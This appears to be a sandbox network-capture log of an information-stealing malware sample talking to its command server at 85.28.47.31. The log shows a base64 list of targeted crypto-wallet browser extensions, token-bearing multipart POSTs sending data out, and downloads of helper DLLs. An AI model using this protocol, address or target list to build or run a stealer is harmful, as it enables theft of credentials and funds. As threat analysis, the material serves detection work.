TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Jul 27, 2024 05:39:09.009437084 CEST	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Jul 27, 2024 05:39:09.009469032 CEST	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Jul 27, 2024 05:39:09.009499073 CEST	672	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Jul 27, 2024 05:39:09.009529114 CEST	1236	IN	Data Raw: 64 47 6c 6a 59 58 52 76 63 6e 78 70 62 47 64 6a 62 6d 68 6c 62 48 42 6a 61 47 35 6a 5a 57 56 70 63 47 6c 77 61 57 70 68 62 47 70 72 59 6d 78 69 59 32 39 69 62 48 77 78 66 44 42 38 4d 48 78 43 61 58 52 33 59 58 4a 6b 5a 57 35 38 62 6d 35 6e 59 32 Data Ascii: dGljYXRvcnxpbGdjbmhlbHBjaG5jZWVpcGlwaWphbGprYmxiY29ibHwxfDB8MHxCaXR3YXJkZW58bm5nY2Vja2JhcGViZmltbmxuaWlpYWhrYW5kY2xibGJ8MXwwfDB8S2VlUGFzc1hDfG9ib29uYWtlbW9mcGFsY2dnaG9jZm9hZG9maWRqa2trfDF8MHwwfERhc2hsYW5lfGZkamFtYWtwZmJiZGRmamFvb2lrZmNwYXBqb2h
Jul 27, 2024 05:39:09.009560108 CEST	1236	IN	Data Raw: 63 47 35 72 62 57 52 71 63 47 39 6a 5a 32 74 6f 59 58 77 78 66 44 42 38 4d 48 78 44 62 32 6c 75 61 48 56 69 66 47 70 6e 59 57 46 70 62 57 46 71 61 58 42 69 63 47 52 76 5a 33 42 6b 5a 32 78 6f 59 58 42 6f 62 47 52 68 61 32 6c 72 5a 32 56 6d 66 44 Data Ascii: cG5rbWRqcG9jZ2toYXwxfDB8MHxDb2luaHVifGpnYWFpbWFqaXBicGRvZ3BkZ2xoYXBobGRha2lrZ2VmfDF8MHwwfE11bHRpdmVyc1ggRGVGaSBXYWxsZXR8ZG5nbWxibGNvZGZvYnBkcGVjYWFkZ2ZiY2dnZmpmbm18MXwwfDB8RnJvbnRpZXIgV2FsbGV0fGtwcGZkaWlwcGhmY2NlbWNpZ25oaWZwamthcGZiaWhkfDF8MHw
Jul 27, 2024 05:39:09.009592056 CEST	492	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 76 62 57 46 68 59 6d 4a 6c 5a 6d 4a 74 61 57 6c 71 5a 57 52 75 5a 33 42 73 5a 6d 70 74 62 6d 39 76 63 48 42 69 59 32 78 72 61 33 77 78 66 44 42 38 4d 48 78 50 63 47 56 75 54 57 46 7a 61 79 42 58 59 57 78 73 5a 58 Data Ascii: IFdhbGxldHxvbWFhYmJlZmJtaWlqZWRuZ3BsZmptbm9vcHBiY2xra3wxfDB8MHxPcGVuTWFzayBXYWxsZXR8cGVuamxkZGpramdwbmtsbGJvY2NkZ2NjZWtwa2NiaW58MXwwfDB8U2FmZVBhbCBXYWxsZXR8YXBlbmtmYmJwbWhpaGVobWlobmRtbWNkYW5hY29sbmh8MXwwfDB8Qml0Z2V0IFdhbGxldHxqaWlkaWFhbGlobW1
Jul 27, 2024 05:39:09.011451006 CEST	466	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGDAEBGIDBGHIECBGHJD Host: 85.28.47.31 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 47 44 41 45 42 47 49 44 42 47 48 49 45 43 42 47 48 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 33 30 31 30 66 66 31 62 34 63 64 65 36 34 63 30 66 36 35 34 32 33 38 31 65 61 36 39 65 61 38 33 61 36 33 35 65 63 39 37 36 65 66 61 36 66 62 39 66 39 34 34 38 66 37 66 35 35 65 39 37 38 35 34 30 63 39 32 61 61 33 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 41 45 42 47 49 44 42 47 48 49 45 43 42 47 48 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 41 45 42 47 49 44 42 47 48 49 45 43 42 47 48 4a 44 2d 2d 0d 0a Data Ascii: ------EGDAEBGIDBGHIECBGHJDContent-Disposition: form-data; name="token"a3010ff1b4cde64c0f6542381ea69ea83a635ec976efa6fb9f9448f7f55e978540c92aa3------EGDAEBGIDBGHIECBGHJDContent-Disposition: form-data; name="message"fplugins------EGDAEBGIDBGHIECBGHJD--
Jul 27, 2024 05:39:09.200021982 CEST	335	IN	HTTP/1.1 200 OK Date: Sat, 27 Jul 2024 03:39:09 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Jul 27, 2024 05:39:09.232599974 CEST	199	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BAAAKJDAAFBAAKEBAAKF Host: 85.28.47.31 Content-Length: 6851 Connection: Keep-Alive Cache-Control: no-cache
Jul 27, 2024 05:39:09.232835054 CEST	6851	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 42 41 41 41 4b 4a 44 41 41 46 42 41 41 4b 45 42 41 41 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 33 30 31 30 66 Data Ascii: ------BAAAKJDAAFBAAKEBAAKFContent-Disposition: form-data; name="token"a3010ff1b4cde64c0f6542381ea69ea83a635ec976efa6fb9f9448f7f55e978540c92aa3------BAAAKJDAAFBAAKEBAAKFContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Jul 27, 2024 05:39:10.311696053 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 27 Jul 2024 03:39:09 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 27, 2024 05:39:10.579551935 CEST	90	OUT	GET /8405906461a5200c/sqlite3.dll HTTP/1.1 Host: 85.28.47.31 Cache-Control: no-cache
Jul 27, 2024 05:39:10.764864922 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 27 Jul 2024 03:39:10 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 14:30:30 GMT ETag: "10e436-5e7eeebed8d80" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Jul 27, 2024 05:39:10.764919043 CEST	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Jul 27, 2024 05:39:10.764957905 CEST	448	IN	Data Raw: ec 0c 89 c5 85 db 74 05 83 fb 03 75 2e 89 7c 24 08 89 5c 24 04 89 34 24 e8 19 f7 0a 00 83 ec 0c 89 c5 89 7c 24 08 89 5c 24 04 89 34 24 e8 64 fd ff ff 83 ec 0c 85 c0 75 02 31 ed c7 05 48 67 eb 61 ff ff ff ff 83 c4 1c 89 e8 5b 5e 5f 5d c3 8d b4 26 Data Ascii: tu.\|$\$4$\|$\$4$du1Hga[^_]&+C\|$\$4$w#t\|$\$4$u#u\|$D$4$t&up\|$D$4$rZ\|$D$4$Q
Jul 27, 2024 05:39:12.372016907 CEST	199	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CFIEBKEHCAKFCBFIDAAK Host: 85.28.47.31 Content-Length: 4599 Connection: Keep-Alive Cache-Control: no-cache
Jul 27, 2024 05:39:13.143574953 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 27 Jul 2024 03:39:12 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 27, 2024 05:39:13.247978926 CEST	199	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJKFCFHJDBKKFHIEHIDG Host: 85.28.47.31 Content-Length: 1451 Connection: Keep-Alive Cache-Control: no-cache
Jul 27, 2024 05:39:14.045351982 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 27 Jul 2024 03:39:13 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 27, 2024 05:39:14.074374914 CEST	561	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HCFIJKKKKKFCAAAAFBKF Host: 85.28.47.31 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 43 46 49 4a 4b 4b 4b 4b 4b 46 43 41 41 41 41 46 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 33 30 31 30 66 66 31 62 34 63 64 65 36 34 63 30 66 36 35 34 32 33 38 31 65 61 36 39 65 61 38 33 61 36 33 35 65 63 39 37 36 65 66 61 36 66 62 39 66 39 34 34 38 66 37 66 35 35 65 39 37 38 35 34 30 63 39 32 61 61 33 0d 0a 2d 2d 2d 2d 2d 2d 48 43 46 49 4a 4b 4b 4b 4b 4b 46 43 41 41 41 41 46 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 43 46 49 4a 4b 4b 4b 4b 4b 46 43 41 41 41 41 46 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------HCFIJKKKKKFCAAAAFBKFContent-Disposition: form-data; name="token"a3010ff1b4cde64c0f6542381ea69ea83a635ec976efa6fb9f9448f7f55e978540c92aa3------HCFIJKKKKKFCAAAAFBKFContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------HCFIJKKKKKFCAAAAFBKFContent-Disposition: form-data; name="file"------HCFIJKKKKKFCAAAAFBKF--
Jul 27, 2024 05:39:14.704082966 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 27 Jul 2024 03:39:14 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 27, 2024 05:39:15.164463043 CEST	561	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AKJDGIEHCAEHIEBFBKKK Host: 85.28.47.31 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 4b 4a 44 47 49 45 48 43 41 45 48 49 45 42 46 42 4b 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 33 30 31 30 66 66 31 62 34 63 64 65 36 34 63 30 66 36 35 34 32 33 38 31 65 61 36 39 65 61 38 33 61 36 33 35 65 63 39 37 36 65 66 61 36 66 62 39 66 39 34 34 38 66 37 66 35 35 65 39 37 38 35 34 30 63 39 32 61 61 33 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4a 44 47 49 45 48 43 41 45 48 49 45 42 46 42 4b 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4a 44 47 49 45 48 43 41 45 48 49 45 42 46 42 4b 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------AKJDGIEHCAEHIEBFBKKKContent-Disposition: form-data; name="token"a3010ff1b4cde64c0f6542381ea69ea83a635ec976efa6fb9f9448f7f55e978540c92aa3------AKJDGIEHCAEHIEBFBKKKContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------AKJDGIEHCAEHIEBFBKKKContent-Disposition: form-data; name="file"------AKJDGIEHCAEHIEBFBKKK--
Jul 27, 2024 05:39:15.759639025 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 27 Jul 2024 03:39:15 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 27, 2024 05:39:16.202980042 CEST	90	OUT	GET /8405906461a5200c/freebl3.dll HTTP/1.1 Host: 85.28.47.31 Cache-Control: no-cache
Jul 27, 2024 05:39:16.455485106 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 27 Jul 2024 03:39:16 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "a7550-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Jul 27, 2024 05:39:17.250523090 CEST	90	OUT	GET /8405906461a5200c/mozglue.dll HTTP/1.1 Host: 85.28.47.31 Cache-Control: no-cache
Jul 27, 2024 05:39:17.432331085 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 27 Jul 2024 03:39:17 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "94750-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Jul 27, 2024 05:39:17.846462965 CEST	91	OUT	GET /8405906461a5200c/msvcp140.dll HTTP/1.1 Host: 85.28.47.31 Cache-Control: no-cache
Jul 27, 2024 05:39:18.025800943 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 27 Jul 2024 03:39:17 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "6dde8-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Jul 27, 2024 05:39:18.358354092 CEST	87	OUT	GET /8405906461a5200c/nss3.dll HTTP/1.1 Host: 85.28.47.31 Cache-Control: no-cache
Jul 27, 2024 05:39:18.537879944 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 27 Jul 2024 03:39:18 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "1f3950-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 